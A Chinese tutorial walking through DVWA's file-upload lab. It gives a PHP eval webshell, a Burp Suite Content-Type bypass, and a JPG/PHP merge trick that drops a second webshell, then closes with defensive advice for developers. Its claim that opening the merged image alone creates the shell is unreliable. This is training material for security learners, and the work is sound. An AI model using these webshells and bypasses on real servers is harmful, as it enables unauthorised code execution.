DVWA文件上传漏洞通关实录:从Low到High,手把手教你三种绕过姿势(附Burp Suite实战)
DVWA文件上传漏洞实战指南从基础绕过到高级技巧在Web安全领域文件上传漏洞一直是最常见也最具破坏力的漏洞类型之一。DVWADamn Vulnerable Web Application作为经典的漏洞练习平台其文件上传模块设置了从低到高三个不同安全级别的防御机制为我们提供了绝佳的学习样本。本文将带你深入理解文件上传漏洞的本质并手把手演示如何逐步突破这些安全限制。1. 文件上传漏洞基础与Low级别突破文件上传漏洞之所以危险在于攻击者可以直接将恶意代码上传到服务器执行。在DVWA的Low级别中开发者完全没有设置任何防护措施这让我们能够直观地理解最原始的文件上传漏洞利用方式。1.1 漏洞代码分析Low级别的后端处理代码如下$target_path DVWA_WEB_PAGE_TO_ROOT.hackable/uploads/; $target_path $target_path . basename($_FILES[uploaded][name]); if(!move_uploaded_file($_FILES[uploaded][tmp_name], $target_path)) { echo preYour image was not uploaded./pre; } else { echo pre. $target_path . succesfully uploaded!/pre; }这段代码存在几个关键问题没有检查文件类型没有验证文件内容直接使用用户提供的文件名将文件存储在可执行目录1.2 实战利用步骤准备一个简单的PHP webshell?php eval($_POST[cmd]); ?在DVWA的文件上传页面直接选择这个PHP文件上传上传成功后可以通过以下方式验证访问上传的PHP文件URL使用中国蚁剑等工具连接webshell关键技巧确保上传目录有执行权限如果无法直接访问尝试结合目录遍历漏洞使用简单的webshell代码更容易绕过基础防护2. Medium级别的MIME类型绕过Medium级别引入了基本的文件类型检查主要增加了以下防护代码if (($uploaded_type image/jpeg) ($uploaded_size 100000)) { // 允许上传 }2.1 绕过思路分析这种防护存在两个主要问题仅检查客户端提供的MIME类型而非实际文件内容文件大小限制过于宽松我们可以通过修改HTTP请求中的Content-Type头部来绕过这种检查。2.2 Burp Suite实战操作配置浏览器代理指向Burp Suite默认127.0.0.1:8080在Burp Suite中开启拦截功能Proxy → Intercept → Intercept is on上传PHP文件时Burp会拦截到类似如下的请求POST /dvwa/vulnerabilities/upload/ HTTP/1.1 Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123 Content-Disposition: form-data; nameuploaded; filenameshell.php Content-Type: application/octet-stream将Content-Type: application/octet-stream修改为Content-Type: image/jpeg转发请求后文件将被成功上传常见问题排查确保Burp证书已安装并受信任检查拦截功能是否开启确认修改的是文件部分的Content-Type而非整个请求的3. High级别的文件合并技巧High级别采用了更严格的防护措施检查文件扩展名$uploaded_ext substr($uploaded_name, strrpos($uploaded_name, .) 1); if (($uploaded_ext jpg || $uploaded_ext JPG || $uploaded_ext jpeg || $uploaded_ext JPEG) ($uploaded_size 100000)) { // 允许上传 }3.1 文件合并技术原理这种防护可以通过文件合并技术绕过准备一个正常的JPG图片创建一个特殊的PHP文件将两者合并为一个新的文件合并后的文件既是有效的图片又包含可执行的PHP代码。3.2 具体实现步骤准备一个简单的图片文件如test.jpg创建特殊构造的PHP文件shell.php?php file_put_contents(shell_final.php, ?php eval($_POST[cmd]); ?); ?在Windows中使用命令提示符执行合并copy /b test.jpg shell.php final.jpg上传合并后的final.jpg文件访问这个图片文件时它会在服务器上生成一个可执行的PHP文件高级技巧使用Exif工具将PHP代码写入图片的元数据尝试GIF89a头部注入结合文件包含漏洞实现代码执行4. 防御措施与安全建议了解了攻击方法后我们更应该知道如何正确防御文件上传漏洞。4.1 有效的防护策略防护措施实现方式有效性文件扩展名检查白名单机制★★★★☆文件内容检测使用getimagesize()等函数★★★★☆文件重命名随机生成存储文件名★★★☆☆隔离存储上传目录禁用脚本执行★★★★★病毒扫描集成杀毒软件API★★★☆☆4.2 安全开发建议永远使用白名单而非黑名单只允许已知安全的文件类型不要试图过滤危险扩展名验证文件内容而不仅依赖扩展名$imageinfo getimagesize($_FILES[uploaded][tmp_name]); if($imageinfo[mime] ! image/jpeg) { die(只允许JPEG图片); }安全存储上传文件存储在Web根目录之外设置正确的文件权限禁用上传目录的脚本执行日志与监控记录所有上传操作监控可疑的上传行为在实际开发中应该组合使用多种防护措施形成纵深防御体系。文件上传功能看似简单但要实现安全可靠却需要开发者具备充分的安全意识和技术能力。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2503281.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!